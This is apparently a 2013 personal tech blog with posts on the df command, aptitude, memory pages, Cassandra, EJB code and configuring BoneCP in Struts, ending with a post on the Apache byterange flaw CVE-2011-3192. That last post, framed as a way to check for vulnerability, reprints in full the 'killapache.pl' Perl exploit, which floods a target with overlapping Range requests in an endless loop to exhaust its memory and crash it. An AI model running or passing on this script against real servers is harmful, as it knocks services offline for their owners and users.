Friday, October 11, 2013

disk usage via command df

I'm pretty sure all of us have bunch of collections files like documents, audio and video in our computer and what is the simple way to check if the disk space usage is exceed the capacity that physical disk provided? For starter, I'm using a command called df, it cames from the package coreutils if you are using Fedora.

What is df?
df displays the amount of disk space available on the file system containing each file name argument.

Example of usage of df?

$ df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/vg_super-lv_root
51606140 9213992 39770708 19% /
tmpfs 1977424 2348 1975076 1% /dev/shm
/dev/sda5 495844 68681 401563 15% /boot
/dev/mapper/vg_super-lv_home
92792824 60272440 27806708 69% /home


$ df /usr/share/man/man1/df.1.gz
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/vg_super-lv_root
51606140 9214012 39770688 19% /


df in techical
- Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used.
- if the partition is not mounted, it will not shown in the df report.


Based on the example usage shown above, the output shown is not human readable, we have to add additional parameters to the command df to make the report much more readable, I summarize some of the parameters with description which I frequently used but if you want a full list, man df to get an all parameters available to command df.

-h, with this parameter, it output human readable size, such as KiB, MiB

-H, with this parameter, it output human readable size too but use power of 1000 not 1024. You could probably noticed that the hard disk normally use this unit to measure its capacity.

-T, with this parameter, it show additional column called type to shown the type of filesystem it is formatted.

--total, with this parameter, it give you a grand total of all the mounted filesystem in the report.

[debian] installing and removing with the same command

When you need to install a package and remove a package, you can do it with a single command than two separate commands. This can be achieve by appending a suffix to the package name. When the aptitude install command is used, a '-' to the suffix of the package name is to remove the package while an aptitude command remove with a '+' suffix to the package name is to install the package.

# aptitude install package1 package2-

# aptitude remove package1+ package2

what pages in memory context?

When a process uses some memory, the CPU is marking the RAM as used by that process. For efficiency, the CPU allocate RAM by chunks of 4K bytes (it's the default value on many platforms). Those chunks are named pages. Those pages can be swapped to disk, etc.

Thursday, October 10, 2013

cassandra

I've been studying cassandra recently and would like to share my findings.

What is cassandra?

Apache Cassandra is an open source, distributed, decentralized, elastically scalable, highly available, fault-tolerant, tuneably consistent, column-oriented database.

Cassandra is an open source distributed database management system. It is designed to handle very large amounts of data spread out across many commodity servers while providing a highly available service with no single point of failure.

Cassandra provides a structured key-value store with eventual consistency. Keys map to multiple values, which are grouped into column families. The column families are fixed when a Cassandra database is created, but columns can be added to a family at any time. Furthermore, columns are added only to specified keys, so different keys can have different numbers of columns in any given family. The values from a column family for each key are stored together, making Cassandra a hybrid between a column-oriented DBMS and a row-oriented store.

where is cassandra use?
well, you can store whatever you want, for example, we used cassandra to store the call detail record.

where do i get started to learn cassandra?
i suggest you start with a cassandra book for beginner or person coming from RDBMS. Because there are new terminology with is introduced in cassandra. When you get a hold on cassandra, you should really get the source from apache cassandra website and they have a great information in their wiki page.

where do i get help if i have question?
they have mailing list where you can find if your question is asked before or you can contact me. :-)

Enterprise JavaBeans

1. What is EJB?
Enterprise JavaBeans is a managed, server-side component architecture for modular construction of enterprise application.

2. What is feature of EJB?
EJB provies stateless session beans which is efficient avenue for distributed transactions. It also provides remote and transaction support where simple POJOs does not.

3. Where is EJB best used at?
You should use ejb if it solves a problem for you that one of the light weight frameworks does not. For examples, clustering, fail-over, distributed caching and administration tools.

4. should we use ejb 2.0 or ejb 3.0 if im starting it out to learn ejb?
excerpt from stackoverflow.com [4]
The goal of EJB 3.0 is target ease of development, the main theme of the JAVA EE 5 platform release. EJB 3.0 is a major simplification over the APIs defined by the EJB 2.1 and earlier specifications. The simplified EJB 3.0 API allows developers to program EJB components as ordinary Java objects with ordinary Java business interfaces rather than as heavy weight components. Both component and client code are simplified, and the same tasks can be accomplished in a simpler way, with fewer lines of code. Because it is much simpler, EJB 3.0 is also much faster to learn to use than EJB 2.1

5. Any book describing EJB which you recommend?
Enterprise JavaBeans 3.1 [5]

6. Show me example of codes that EJB are used at?
in the web environment.

web.xml

<ejb-ref>
<ejb-ref-name>ejb/userManagerBean</ejb-ref-name>
<ejb-ref-type>Session</ejb-ref-type>
<home>gha.ywk.name.entry.ejb.usermanager.UserManagerHome</home>
<remote>what should go here??</remote>
</ejb-ref>


class Foo
{

public UserManager getUserManager() throws HUDException
{
String ROLE_JNDI_NAME = 'ejb/userManagerBean';

try
{
Properties props = System.getProperties();
Context ctx = new InitialContext(props);
UserManagerHome userHome = (UserManagerHome) ctx.lookup(ROLE_JNDI_NAME);
UserManager userManager = userHome.create();
WASSSecurity user = userManager.getUserProfile('user101', null);
return userManager;
}
catch (NamingException e)
{
log.error('Error occured while getting EJB UserManager ' + e);
return null;
}
catch (RemoteException ex)
{
log.error('Error occured while getting EJB UserManager' + ex);
return null;
}
catch (CreateException ex)
{
log.error('Error occured while getting EJB UserManager' + ex);
return null;
}

}

}

// create a home interface
// a remote EJB object - extends javax.ejb.EJBHome
// a local EJB object - extends javax.ejb.EJBLocalHome
public interface MyBeanRemoteHome extends javax.ejb.EJBHOME
{
MyBeanRemote create() throws javax.ejb.CreateException, java.rmi.RemoteException;
}

// create an business interface in order to define business logic in our
// ejb object

// a remote EJB object - extends javax.ejb.EJBObject
// a local EJB object - extends javax.ejb.EJBLocalObject
public interface MyBeanRemote extends javax.ejb.EJBObject
{
void doSomething() throws java.rmi.RemoteException;
}

// our ejb
public class MyBean implements javax.ejb.SessionBean
{
// why create method ? Take a special look at EJB Home details (above)
public void create()
{
System.out.println('create');
}

public void doSomething() throws java.rmi.RemoteException
{
// some code
}
}


ejb-jar.xml


<?xml version='1.0' encoding ='UTF-8'?>
<ejb-jar xmlns='http://java.sun.com/xml/ns/j2ee' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/ejb-jar_2_1.xsd version='2.1'>
<enterprise-beans>
<sessions>
<ejb-name>HelloWorldEJB</ejb-name>
<home>br.com.MyBeanRemoteHome</home>
<remote>br.com.MyBeanRemote</remote>
<local-home>br.com.MyBeanLocalHome</local-home>
<local>br.com.MyBeanLocal</local>
<ejb-class>br.com.MyBean</ejb-class>
<session-type>Stateless</session-type>
<transaction-type>Container</transaction-type>
</sessions>
</enterprise-beans>
</ejb-jar>


and put in META-INF directory.


/META-INF/ejb-jar.xml
br.com.MyBean.class
br.com.MyBeanRemote.class
br.com.MyBeanRemoteHome.class


now our ejb 3.0


// or @Local
// You can not put @Remote and @Local at the same time
@Remote
public interface MyBean
{
void doSomething();
}

@Stateless
public class MyBeanStateless implements MyBean
{

public void doSomething()
{

}

}


[1] http://stackoverflow.com/questions/2506915/why-should-i-use-ejb
[2] http://www.innoq.com/blog/st/2007/03/01/java_eeejb_3_vs_spring.html
[3] http://en.wikipedia.org/wiki/Enterprise_JavaBean
[4] http://stackoverflow.com/questions/1737686/help-me-out-in-learning-ejb
[5] http://www.amazon.com/Enterprise-JavaBeans-3-1-Andrew-Rubinger/dp/0596158025/ref=sr_1_1?s=books&ie=UTF8&qid=1319341380&sr=1-1

Wednesday, October 9, 2013

how to configure bonecp 0.7.1 in struts 1.3.10

This is a response to http://stackoverflow.com/questions/9203648/how-to-do-connection-pooling-on-struts-fraework/9204790#comment11767509_9204790 the question of the Original Poster on how to configure bonecp in struts. Due to the lengthy of the howto, thus, the environment setup, coding, and detail guide are describe here instead.

Note! This howto is not meant for performance nor able to work for everyone but it serve as a guide to ensure bonecp able to work in struts in 1.3. As far as I know, data-sources is removed from struts 1.2 dtd and thus,this guide serve as a functional documentation on how to configure bonecp in struts via tomcat5.


1. the environment for this howto is at below

operating system : centos 5.6 2.6.18-238.19.1.el5
tomcat : tomcat5-5.5.23-0jpp.19.el5_6
struts : struts-1.3.10
bonecp : bonecp-0.7.1.RELEASE.jar
mysql-connector-java : mysql-connector-java-5.1.16.jar
mysql : mysql-server-5.0.95-1.el5_7.1
dependency of struts : commons-digester-1.8.jar
commons-chain-1.2.jar
commons-beanutils-1.8.0.jar
struts-taglib-1.3.10.jar
dependency of bonecp : guava-11.0.1.jar
slf4j-api-1.6.4.jar


2. Note: place these jar file into tomcat common lib directory,

bonecp-0.7.1.RELEASE.jar
guava-11.0.1.jar
slf4j-api-1.6.4.jar (and slf4j-log4j if you want to)
mysql-connector-java-5.1.16.jar


3. Locate tomcat server.xml (for this example, it is /etc/tomcat5/server.xml) and provide this below, under GlobalNamingResources, add a new resource.

<Resource type='javax.sql.DataSource'
name='demodb'
factory='com.jolbox.bonecp.BoneCPDataSource'
driverClassName='com.mysql.jdbc.Driver'
jdbcUrl='jdbc:mysql://localhost/demo'
username='user1'
password='password1'
idleMaxAge='240'
idleConnectionTestPeriod='60'
partitionCount='3'
acquireIncrement='5'
maxConnectionsPerPartition='10'
minConnectionsPerPartition='5'
statementsCacheSize='50'
releaseHelperThreads='5'
/>


4. Location tomcat context.xml (for this example, it is /etc/tomcat5/context.xml), add a resource link.

<!-- The contents of this file will be loaded for each web application -->
<Context>

<!-- Default set of monitored resources -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname='' />
-->

<ResourceLink global='demodb' name='demodb' type='javax.sql.DataSource'/>


</Context>



5., then, the struts-config.xml

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE struts-config PUBLIC
'-//Apache Software Foundation//DTD Struts Configuration 1.3//EN'
'http://jakarta.apache.org/struts/dtds/struts-config_1_3.dtd'>

<struts-config>

<form-beans>
<form-bean name='helloWorldForm' type='com.e2e.form.HelloWorldForm' />
</form-beans>

<action-mappings>
<action path='/helloWorld' type='com.e2e.action.HelloWorldAction'
name='helloWorldForm'>
<forward name='success' path='/HelloWorld.jsp' />
</action>
<action path='/DataSource' type='com.e2e.action.TestDataSource'>
<forward name='success' path='/success.jsp'></forward>
</action>
</action-mappings>

</struts-config>


6. then the web description, web.xml

<!DOCTYPE web-app PUBLIC
'-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN'
'http://java.sun.com/dtd/web-app_2_3.dtd' >

<web-app>
<display-name>bonecp-struts</display-name>

<servlet>
<servlet-name>action</servlet-name>
<servlet-class>
org.apache.struts.action.ActionServlet
</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>
/WEB-INF/struts-config.xml
</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>

<resource-ref>
<description>struts-bonecp</description>
<res-ref-name>demodb</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>

</web-app>


7. then the TestDataSource.java

package com.e2e.action;

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.sql.DataSource;

import org.apache.struts.action.Action;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;

public class TestDataSource extends Action
{
public ActionForward execute(ActionMapping mapping,
ActionForm form,
HttpServletRequest request,
HttpServletResponse response) throws Exception
{
javax.sql.DataSource dataSource;
java.sql.Connection myConnection=null;
try
{
dataSource = getDataSource(request);
if (dataSource == null)
{
System.out.println('datasource is null');
}
myConnection = dataSource.getConnection();
Statement stmt=myConnection.createStatement();
ResultSet rst=stmt.executeQuery('select username from test');
System.out.println('******************************************');
System.out.println('********Out Put from TestDataSource ******');
while(rst.next())
{
System.out.println('User Name is: ' + rst.getString('username'));
}
System.out.println('******************************************');
rst.close();
stmt.close();
// do what you wish with myConnection
}
catch (SQLException sqle)
{
getServlet().log('Connection.process', sqle);
}
finally
{
//enclose this in a finally block to make
//sure the connection is closed
try
{
myConnection.close();
}
catch (SQLException e)
{
getServlet().log('Connection.close', e);
}
}

return mapping.findForward('success');
}

private DataSource getDataSource(HttpServletRequest request) throws NamingException
{
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup('java:comp/env/demodb');
return ds;
}

}


8. create a simple jsp page under directory WEB-INF

<%@ page language='java' contentType='text/html; charset=UTF-8'
pageEncoding='UTF-8'%>
<!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
<title>Insert title here</title>
</head>
<body>
OK
</body>
</html>


9. finally, hit the link http://:8080/bonecp-struts/DataSource.do
you should be able to see an OK in the browser and if you tail the log in tomcat log directory (in this example, it is /var/log/tomcat5/catalina.out) , you should be able to see data is retrieve from the database and printed.

http vulnerability CVE-2011-3192

What is the vulnerable about?
The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086. see [4] for more information.

What actually happen in the vulnerable system?
see the video [2] which show spike in the httpd processes in the system as well as consume a lot of cpu cycle and memory.

Has it been fixed?
yes, see [3]

What is the rpm for this fix?
to be exact, it is fixed in apache version 2.2.20 and it is available in the
2.2.3-53.el5.centos.1 rpm. for more information, see [5]

Is there a way to check if system is vulnerable?
yes, you can use this script.

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
print 'Apache Remote Denial of Service (memory exhaustion)';
print 'by Kingcope';
print 'usage: perl killapache.pl [numforks]';
print 'example: perl killapache.pl www.example.com 50';
}

sub killapache {
print 'ATTACKING $ARGV[0] [using $numforks forks]';

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = '';
for ($k=0;$k<1300;$k++) {
$p .= ',5-$k';
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = '';
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ':pPpPpppPpPPppPpppPp';
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '80',
Proto => 'tcp');

$p = 'HEAD / HTTP/1.1Host: $ARGV[0]Range:bytes=0-$pAccept-Encoding: gzipConnection: close';
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
print 'host seems vuln';
return 1;
} else {
return 0;
}
}

if ($#ARGV < 0) {
usage;
exit;
}

if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
print 'Host does not seem vulnerable';
exit;
}

while(1) {
killapache();
}


[1] http://seclists.org/fulldisclosure/2011/Aug/281
[2] http://www.youtube.com/watch?v=3al1lsvFSpA
[3] https://bugzilla.redhat.com/show_bug.cgi?id=732928
[4] https://www.redhat.com/security/data/cve/CVE-2011-3192.html
[5] https://www.apache.org/dist/httpd/Announcement2.2.html